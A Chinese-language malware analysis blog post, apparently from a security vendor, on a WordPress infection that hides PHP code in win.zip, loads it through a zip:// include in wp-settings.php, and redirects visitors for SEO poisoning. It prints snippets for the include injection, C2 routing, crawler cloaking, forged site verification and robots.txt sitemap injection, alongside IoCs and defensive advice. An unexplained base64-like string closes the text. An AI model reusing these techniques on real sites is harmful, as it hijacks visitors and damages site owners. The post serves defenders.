利用ZIP归档隐藏PHP恶意软件,劫持WordPress访客流量

3 阅读4分钟

恶意软件概述

上个月,一位客户联系我们,反映其WordPress网站存在持续且无法解释的重定向问题。我们的调查很快发现了一个嵌入在网站核心文件中的复杂恶意软件。这不仅是一个简单的重定向,而是一个精心设计的、旨在进行搜索引擎投毒和未授权内容注入的攻击活动。

初始发现

初步分析将我们引向 wp-settings.php 文件,这是WordPress的核心组件。我们发现了两行高度可疑的代码:

$h = str_replace('www.', '', $_SERVER['HTTP_HOST']);
include("zip://win.zip#$h");

这段代码片段是恶意负载的初始入口点。

  • 第一行从 HTTP_HOST 头中提取裸域名,并去除 www. 前缀。这是确保恶意软件在不同域名配置下都能一致运行的常见手法。
  • 第二行是关键行。它尝试直接从 win.zip 归档文件中包含一个文件。PHP中的 zip:// 包装器允许像访问常规文件一样访问ZIP归档内的文件。# 符号后跟 $h(提取的域名)表示应包含 win.zip 中与该域名同名的文件。这是一种非常隐蔽的方式,将恶意代码隐藏在一个看似无害的ZIP文件中。

经过进一步调查,我们找到了 win.zip 文件。解压后,它包含一个高度混淆的PHP文件,该文件是核心恶意脚本。

攻击向量与入侵指标(IoC)

  • wp-settings.php 中发现 zip://win.zip#<hostname> 包含语句。
  • win.zip 内部包含一个与主机名匹配的文件,该文件包含解码后的访客特定重定向逻辑。

恶意软件分析

win.zip 提取的文件被执行后,立即开始解码并运行其真正的恶意内容。

环境初始化与检测

恶意软件首先设置执行环境,以确保其运行不被中断,并检测当前协议。

$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://";

该代码检查当前连接是否安全(HTTPS),这对于正确获取外部资源和避免客户端混合内容警告非常重要。

动态命令与控制(C2)服务器选择

该恶意软件的巧妙之处在于能够根据请求的URL动态选择其C2服务器。这使得它更难以被关闭,也更难被完全阻止,因为网站的不同部分可能会与不同的C2服务器通信。

$c2_servers = [
    '/products\.php/' => 'wditemqy.enturbioaj.xyz',
    '/detail\.php/' => 'oqmetrix.icercanokt.xyz',
    '/.*/' => 'yzsurfar.icercanokt.xyz'
];

此代码允许攻击者根据用户访问的特定页面提供不同的恶意内容或将用户重定向到不同目标,从而可能针对不同的SEO领域或用户群体。

反爬虫与隐蔽机制

为避免被搜索引擎爬虫和安全扫描器检测,恶意软件包含了一个复杂的反爬虫机制。

$bots = ['Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'facebookexternalhit', 'ia_archiver'];
if (in_array($_SERVER['HTTP_USER_AGENT'], $bots)) {
    return; // 不执行恶意操作
}

当检测到如Googlebot、Bing或Yahoo等爬虫时,恶意软件通常会禁用其恶意输出(例如,不进行重定向,不显示垃圾内容)。这防止了被入侵的内容被搜索引擎索引,帮助感染情况对网站所有者(他们可能会在搜索结果中检查网站外观)以及模拟爬虫行为的自动化安全扫描器保持隐藏。

远程内容获取与通信

恶意软件尝试从给定URL获取内容。恶意代码旨在发送数据(可能是收集网站信息或状态更新)回C2服务器。

$response = file_get_contents($url);
// 或使用curl发送POST请求

网站文件操纵(SEO投毒策略)

该恶意软件的关键目标是搜索引擎投毒,通过操纵被入侵网站上的重要SEO相关文件来实现。

if (strpos($_SERVER['REQUEST_URI'], 'google-site-verification') !== false) {
    echo 'google-site-verification: <content>';
    exit;
}

恶意软件拦截对Google站点验证文件的请求,并做出响应,允许攻击者在Google Search Console中验证该站点,从而有效控制其SEO设置。

$robots = file_get_contents('robots.txt');
$robots .= "\nSitemap: http://attacker-controlled-domain/sitemap.xml\n";
file_put_contents('robots.txt', $robots);

它从C2服务器获取 contents.php 的内容。如果本地 robots.txt 存在则修改它,否则以默认的“允许所有”规则开始。关键的是,它会追加一个指向攻击者控制的站点地图URL的指令。这引导搜索引擎爬取您被入侵网站上托管的攻击者垃圾内容,从而提升他们非法的SEO效果。

动态重定向与内容分发

从用户角度来看,该恶意软件的最终目标是动态分发内容或进行重定向。

$path = $_SERVER['REQUEST_URI'];
if (preg_match('/products\.php/', $path)) {
    header('Location: http://wditemqy.enturbioaj.xyz');
} elseif (preg_match('/detail\.php/', $path)) {
    header('Location: http://oqmetrix.icercanokt.xyz');
} else {
    header('Location: http://yzsurfar.icercanokt.xyz');
}
  • products.phpwditemqy[.]enturbioaj[.]xyz
  • detail.phpoqmetrix[.]icercanokt[.]xyz
  • 其他路径 → yzsurfar[.]icercanokt[.]xyz

恶意软件的影响

  • SEO操纵:主要目标是操纵搜索引擎排名。通过注入垃圾内容、未经授权的站点地图和执行301重定向,攻击者旨在利用被入侵网站的权威性,在搜索结果中提升其恶意或垃圾网站的排名。
  • 信誉损害:被入侵的网站可能被安全厂商、网络浏览器和搜索引擎标记为恶意,导致声誉受损。
  • 检测与清理困难:使用ZIP归档进行代码包含、多层混淆以及反爬虫措施,使得网站所有者难以在没有专家帮助的情况下检测和清理此恶意软件。

恶意C2域名

  • wditemqy[.]enturbioaj[.]xyz
  • oqmetrix[.]icercanokt[.]xyz
  • yzsurfar[.]icercanokt[.]xyz

预防建议

  1. 始终保持软件更新:确保您的WordPress核心、主题和所有插件都运行最新版本。
  2. 从可信来源获取主题和插件:仅从官方WordPress.org目录或成熟的、受信任的开发人员处下载主题和插件。
  3. 实施强凭证安全:为所有WordPress管理员账户、数据库、FTP和托管控制面板使用唯一、复杂且长的密码。为所有用户角色(尤其是管理员)启用双因素身份验证(2FA),以增加关键安全层。
  4. 使用Web应用防火墙(WAF):强大的WAF(如Sucuri等安全服务提供的WAF)可作为前线防御。
  5. 定期扫描网站恶意软件:为您的WordPress网站实施定期的自动化恶意软件扫描。

结论

这种狡猾的恶意软件表明攻击者正变得越来越聪明。但您仍然可以保护您的网站!请记住以下几点:保持软件更新,使用强密码,定期扫描恶意软件,并始终保留备份。具备安全意识能让您的网站保持安全可靠。 jZsKZdINXrVc9QY8XQ5Ax/HmrWATJet1GxUy2jBZcmPpaWN/SWIZGX3pVX6DqlbCpKfkdGXtx7a+CfW9pWJzbVak/KTl3fOjuOQDsSQ7DR7IEMx1ugVbOx4uvnTXnuyzw3VHiGuFmTRXWfPfKAxI0Q==